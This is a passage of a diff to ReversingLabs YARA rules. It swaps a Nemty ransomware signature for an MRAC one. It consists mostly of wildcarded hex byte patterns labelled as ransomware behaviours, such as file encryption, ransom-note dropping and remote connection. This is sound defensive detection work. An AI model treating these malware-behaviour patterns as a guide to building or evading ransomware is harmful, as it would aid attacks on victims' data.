-            ?? ?? 8B 14 24 E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 74 ?? 66 83 78 ?? ?? 75 ?? EB ?? 90
-            41 80 7C 06 ?? ?? 48 8D 70 ?? 89 C2 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41
-            80 7C 06 ?? ?? 48 8D 50 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 89 C2 48 85 D2 0F 84
-            ?? ?? ?? ?? 41 80 7C 16 ?? ?? 48 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 0F 1F 00 45 85 E4 0F
-            84 ?? ?? ?? ?? 31 C9 45 31 DB 41 BC ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FF 44 8B 64 24
-            ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 41 8B 04 24 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 FF
-            C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 48 89 F2 E9 ?? ?? ?? ?? 44 89 04 24 E8 ?? ?? ?? ?? 44 8B 04 24 BA ?? ?? ??
-            ?? 44 89 00 E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 83 CA ?? E9
+		$encrypt_files_p2 = {
+            86 97 ?? ?? ?? ?? C0 74 3C ?? ?? C1 E8 ?? 28 03 00 48 ?? C0 74 2F ?? ?? FA 03 75 ??
+            48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40
+            ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 85
+            C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D ?? ?? ??
+            ?? 48 39 C8 0F 84 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B
+            55 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA
+            ?? 75 ?? 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ??
+            0F B6 40 ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ??
+            ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D
+            ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 ?? 83 F0
+            ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D
         }
-		$init_key_v2 = {
-            48 85 FF 0F 84 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 41 56 41 55 41 54 55 48 89 F5
-            53 48 89 FB 48 81 EC ?? ?? ?? ?? 4C 8D 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ??
-            66 0F EF C0 48 8D 35 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 49 89 E6 0F 29 04 24 0F 29 44
-            24 ?? E8 ?? ?? ?? ?? 49 89 C5 48 85 C0 74 ?? 4C 89 F7 48 89 C1 BA ?? ?? ?? ?? BE ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F6 4C 89 E7 E8
-            ?? ?? ?? ?? 85 C0 74 ?? 31 C0 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 66 2E
-            0F 1F 84 00 ?? ?? 00 00 31 C0 C3 0F 1F 44 00 ?? 48 89 EA 48 89 DE 4C 89 E7 E8 ?? ??
-            ?? ?? 85 C0 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 89 E8 EB
+		$drop_ransom_note = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ??
+            ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D
+            ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48
+            8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74
+            ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85
+            D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ??
+            48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ??
+            ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 84 F6
+            0F 85 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 8B 55
         }
 
 	condition:
-		uint32(0)==0x464C457F and ((( all of ($find_files_v1_p*)) and ( all of ($kill_processes_v1_p*)) and ($init_key_v1) and ( all of ($encrypt_files_v1_p*)) and ($shut_down_esxi_v1)) or (( all of ($find_files_v2_p*)) and ( all of ($kill_processes_v2_p*)) and ($init_key_v2) and ( all of ($encrypt_files_v2_p*))))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Nemty : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_MRAC : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Nemty ransomware."
+		description = "Yara rule that detects MRAC ransomware."
 		author = "ReversingLabs"
-		id = "c56ecd32-5903-5bcc-aa69-a070f2c247c4"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "135c3dc9-bf08-5f00-bade-7054d9f33830"
+		date = "2022-02-21"
+		modified = "2022-02-21"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Nemty.yara#L1-L205"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "dc8cfdcdea8ecb2018b1b04bb1b645f6dbdc6c07357719100677c75945edef40"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.MRAC.yara#L1-L69"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "04e8364dc9c726f4bb2d3035e5b7e8dab4cae124b2f047be6f11b865fab557a7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -40736,184 +40976,62 @@ rule REVERSINGLABS_Win32_Ransomware_Nemty : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Nemty"
+		tc_detection_name = "MRAC"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 8D 75
-            ?? 89 5D ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00
-            53 53 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 6A
-            ?? 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ??
-            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 53 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
-            ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 32 DB EB ?? B3 ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ??
-            6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ??
-            ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 8B 1D ?? ?? ?? ??
-            50 FF D3 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59
-            72 ?? 8B 00 50 FF D3 33 DB 43 53 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 53 8D 75 ??
-            E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 59 59 FF 75 ?? FF
-        }
-		$remote_connection_p2 = {
-            D6 FF 75 ?? FF D6 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ??
-            83 78 ?? ?? 59 59 72 ?? 8B 00 50 FF 15 ?? ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ??
-            53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ??
-            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 C9 51 51 51 50 68 ?? ?? ?? ?? 51 FF 15 ??
-            ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 5A 8B C1 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 39 55 ??
-            73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ??
-            8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41
-            3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D
-            ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 83 EC ?? 8D 45 ?? 8B F4 50 E8 ?? ??
-            ?? ?? 83 EC ?? 8B F4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 33
-            FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$enum_resources_p1 = {
-            55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 53 56 57 FF 15 ?? ?? ??
-            ?? 83 64 24 ?? ?? 89 44 24 ?? BB ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? D3 EA 33 C0 40
-            23 D0 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? 80 C1 ?? 5F 88 4C 24 ?? FF 74 24 ?? 8D
-            74 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 64 24 ?? ?? 8B 74 24 ?? 53 89
-            7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 59 03 C6 8D 4C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D
-            44 24 ?? 50 83 C8 ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8B C6
-            E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8B C6 50 FF 15 ?? ?? ?? ?? 6A ?? 33
-            FF 8D 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59
-            8B F8 53 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ??
-            33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53
-            8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-        }
-		$enum_resources_p2 = {
-            8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D
-            74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8D 44 24
-            ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ??
-            E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 6A ?? 8D 4C 24 ?? 51 8D
-            4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? 89 44 24 ?? 8D
-            44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ??
-            89 44 24 ?? 8D 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 2B 44 24
-            ?? 8B 4C 24 ?? 1B 4C 24 ?? BE ?? ?? ?? ?? 0F AC C8 ?? 89 44 24 ?? 8D 44 24 ?? C1 E9
-            ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? FF 44 24 ?? 83 7C 24 ?? ??
-            0F 8C ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_files_1_p1 = {
-            6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0
-            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ??
-            E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ??
-            59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ??
-            ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84
-        }
-		$find_files_1_p2 = {
-            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ??
-            ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ??
-            ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ??
-            ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ??
-            ?? ?? 59 84 C0 75 ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ??
-            FF 15
-        }
-		$find_files_2_p1 = {
-            8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F
-            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ??
-            ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 8D
-            84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
-        }
-		$find_files_2_p2 = {
-            50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0
-            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ??
-            ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 4C
-            24 ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ??
-            ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 75 ?? 32 DB EB ?? B3 ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33
-            FF 8D 74 24 ?? E8 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 FF 8D 74
-        }
-		$find_files_2_p3 = {
-            24 ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ??
-            ?? ?? 50 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 8B
-            46 ?? 59 83 C9 ?? 2B C8 83 F9 ?? 0F 86 ?? ?? ?? ?? 8D 58 ?? 6A ?? 8B C6 E8 ?? ?? ??
-            ?? 84 C0 74 ?? 83 7E ?? ?? 8B 4E ?? 72 ?? 8B 06 EB ?? 8B C6 6A ?? 5A 66 89 14 48 83
-            7E ?? ?? 89 5E ?? 72 ?? 8B 06 EB ?? 8B C6 33 C9 66 89 0C 58 8B DE 8D 74 24 ?? E8 ??
-            ?? ?? ?? 8B DE 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF E8 ?? ?? ?? ?? 6A ?? 8D 74 24
-            ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44
-            24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 44 24 ?? E8
-            ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 59 6A ?? 33 FF 8D 74 24 ?? E8
-            ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 8D 74 24 ?? E8 ?? ?? ?? ?? 8D
-            84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ??
-            ?? ?? 59 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9
-            8D 74 24 ?? E8
+		$encrypt_files = {
+            B8 ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ??
+            83 C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B 75 ?? 85 C0 75 ?? B1
+            ?? EB ?? 32 C9 8B 45 ?? 88 4D ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? 8B C6 81 F9 ??
+            ?? ?? ?? 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ??
+            8A 4D ?? 83 C4 ?? 8A C1 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ??
+            ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8
         }
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 33 F6 C7 43 ??
-            ?? ?? ?? ?? 89 73 ?? C6 03 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 57 2B C1 6A ?? 99 5F
-            F7 FF 89 9D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 85 C0 74 ?? 89 B5 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 83 EC ?? 03 C1 8B F4 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A
-            ?? 50 83 C8 ?? 8B F3 E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
-            ?? 8B 0D ?? ?? ?? ?? 2B C1 6A ?? 99 5E F7 FE FF 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ??
-            39 85 ?? ?? ?? ?? 72 ?? 8B 53 ?? 6A ?? 5F C6 85 ?? ?? ?? ?? ?? 3B D7 72 ?? 8B 0B EB
-            ?? 8B CB 8B 43 ?? 03 C1 3B D7 72 ?? 8B 0B EB ?? 8B CB 50 51 8D 85 ?? ?? ?? ?? 50 8D
-            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 7B ?? 72 ?? 8B 03 EB ?? 8B C3 8B 5B ?? 8B
-            B5 ?? ?? ?? ?? 03 D8 53 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B
-            4E ?? C6 85 ?? ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ??
-            8B 0E EB ?? 8B CE 50 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 39 7E ?? 72 ?? 8B 0E EB ?? 8B CE 8B 46 ?? 03 C1 50 FF B5 ?? ?? ?? ?? 8D 9D ?? ??
-            ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4E
+		$import_key = {
+            8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 89 45 ?? 8D 4D ?? 51 50 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 75 ?? FF
